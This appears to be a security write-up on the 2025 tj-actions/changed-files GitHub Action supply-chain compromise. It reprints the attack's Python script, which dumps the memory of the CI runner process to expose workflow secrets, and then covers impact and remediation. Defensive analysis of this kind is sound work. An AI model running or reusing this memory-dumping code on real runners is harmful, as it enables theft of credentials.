GitHub Action Vulnerability tj-actions/changed-files

• It seems likely that the tj-actions/changed-files GitHub Action was compromised in a supply chain attack, potentially leaking secrets from CI/CD pipelines.
• Research suggests the attack started around March 14, 2025, affecting over 23,000 repositories, with secrets exposed in public build logs.
• The evidence leans toward the malicious code dumping CI runner memory, with secrets double-encoded in base64 for public visibility.

def get_pid():
    # https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python
    pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]

    for pid in pids:
        with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
            if b'Runner.Worker' in cmdline_f.read():
                return pid

    raise Exception('Can not get pid of Runner.Worker')

if __name__ == "__main__":
    pid = get_pid()
    print(pid)

    map_path = f"/proc/{pid}/maps"
    mem_path = f"/proc/{pid}/mem"

    with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
        for line in map_f.readlines():  # for each mapped region
            m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
            if m.group(3) == 'r':  # readable region
                start = int(m.group(1), 16)
                end = int(m.group(2), 16)
                # hotfix: OverflowError: Python int too large to convert to C long
                # 18446744073699065856
                if start > sys.maxsize:
                    continue
                mem_f.seek(start)  # seek to region start
            
                try:
                    chunk = mem_f.read(end - start)  # read region contents
                    sys.stdout.buffer.write(chunk)
                except OSError:
                    continue

This code is designed to extract and dump the memory contents of a specific process running on a Linux system. Let me explain it section by section:

1. The get_pid() function:

   • It searches through the /proc directory, which contains information about all running processes on a Linux system
   • It filters for entries that are digits (these are process IDs)
   • For each process ID, it opens the cmdline file which contains the command that started the process
   • It looks for a process with “Runner.Worker” in its command line
   • When found, it returns that process ID

2. The main block:

   • Gets the process ID by calling get_pid()
   • Constructs paths to two special files:
     • /proc/{pid}/maps: Contains memory mapping information
     • /proc/{pid}/mem: Provides access to the process’s memory

3. Memory extraction:

   • Opens both the maps and memory files
   • Parses each line in the maps file using a regex to extract:
     • Start address of memory region
     • End address of memory region
     • Access permissions
   • For each readable region (‘r’ permission):
     • Converts hex addresses to integers
     • Skips regions with addresses larger than Python’s maximum integer size
     • Seeks to the start position in the memory file
     • Reads the memory chunk between start and end addresses
     • Writes the memory contents to standard output

Background

The tj-actions/changed-files is a popular GitHub Action used to identify changed files in repositories, aiding in CI/CD processes. Recently, it has been at the center of a security incident that could impact many users relying on automated workflows.

Vulnerability Details

The vulnerability, tracked as CVE-2025-30066, involved a malicious update to the action, likely through unauthorized access to the repository. This update appears to have injected code that extracts and logs sensitive workflow secrets, such as API keys and tokens, from the CI runner’s memory. For public repositories, these logs are accessible, posing a significant risk of secret exposure, though the data is obfuscated via double-encoded base64.

Impact and Response

The incident, first reported on March 15, 2025, has led to recommendations for immediate action, including reviewing workflows from March 14 to March 15, 2025, decoding any unexpected output, revoking exposed secrets, and updating to a secure alternative like the one provided by StepSecurity (Harden-Runner detection). The compromised repository has been taken down, and related malicious scripts have been removed.

An unexpected aspect is that the attack also posed risks to private repositories, where internal viewers with access could potentially see leaked secrets, not just public ones, broadening the scope of impact.

Survey Note: Detailed Analysis of the tj-actions/changed-files Security Vulnerability

This note provides a comprehensive examination of the recent security vulnerability affecting the tj-actions/changed-files GitHub Action, identified as a supply chain attack with significant implications for CI/CD security. The analysis is based on available reports and repository details, aiming to inform users and stakeholders about the nature, impact, and mitigation strategies.

Overview of tj-actions/changed-files

The tj-actions/changed-files repository is a GitHub Action designed to retrieve changed files and directories relative to various comparison points, such as target branches or commits. It supports features like fast execution (0-10 seconds), GitHub REST API or Git diff usage, and compatibility across platforms including Linux, MacOS, Windows, and self-hosted runners. Below is a table summarizing its key features:

This action, integrated across over 23,000 repositories, is critical for automation but has now become a vector for a significant security breach.

Nature of the Vulnerability

The vulnerability, tracked as CVE-2025-30066, was first reported by StepSecurity on March 15, 2025, with the incident starting around 9:00 AM PT on March 14, 2025 (Harden-Runner detection). The attack involved a compromise of the repository, likely through unauthorized write access, leading to the injection of malicious code into multiple tagged versions, including v35.9.3, which was updated recently and suspected of exfiltrating credentials (GitHub Issue).

The malicious payload was designed to dump the CI runner’s memory, extracting sensitive workflow secrets such as API keys and tokens. These secrets were then logged in the GitHub Actions build logs, with the data double-encoded in base64 to obfuscate it. For public repositories, these logs are accessible, enabling potential exposure to anyone viewing them. However, the risk extends to private repositories, where internal viewers with access could also see leaked secrets, broadening the impact (Upwind).

Wiz Threat Research observed the deployment of scripts designed to dump secrets, confirming the exfiltration mechanism (Wiz Blog). The compromised commit, identified as 0e58ed8671d6b60d0890c21b07f8835ace038e67, was removed from all tags and branches, with measures implemented to prevent future issues. Users were advised to review workflows between March 14 and March 15, 2025, decode unexpected output with echo 'xxx' | base64 -d | base64 -d, revoke exposed secrets, and update workflows referencing the compromised commit SHA.

Impact Assessment

The scale of the impact is significant, with the action used in over 23,000 repositories, posing a high risk of credential theft and CI pipeline compromise. For public repositories, the exposure of secrets in build logs could lead to unauthorized access to systems, while private repositories face internal leakage risks. The attack highlights the growing threat of supply chain attacks in CI/CD environments, as noted by Sysdig, which recommends runtime security controls and cloud detection tools like Falco and Sysdig Secure for mitigation (Sysdig).

Semgrep and other security firms have emphasized the need for immediate action, with Semgrep providing a rule to find usages of the compromised action in codebases (Semgrep). The repository has been taken down, and related GitHub gists containing malicious scripts have been removed, as reported in Japanese security news (Rocket Boys).

Mitigation and Response

Immediate remediation steps include:

• Reviewing all workflows executed between March 14 and March 15, 2025, for suspicious activity.
• Decoding any unexpected output in logs using echo 'xxx' | base64 -d | base64 -d to check for exposed secrets.
• Revoking all potentially exposed secrets, such as API keys and tokens, to prevent unauthorized access.
• Updating workflows to use a secure alternative, such as the drop-in replacement provided by StepSecurity (Harden-Runner detection).

StepSecurity and other firms have released free secure replacements, strongly recommending users to replace all instances of tj-actions/changed-files with these alternatives. The community has also discussed the need for better security practices, such as pinning actions by commit hash and minimizing reliance on third-party actions, as highlighted in discussions on Hacker News and Lobsters (Hacker News, Lobsters).

The tj-actions/changed-files security vulnerability represents a critical supply chain attack, compromising CI/CD pipelines and exposing sensitive secrets. With the incident starting on March 14, 2025, and affecting a wide user base, immediate action is essential to mitigate risks. Users are encouraged to follow the recommended remediation steps and adopt secure alternatives to safeguard their repositories.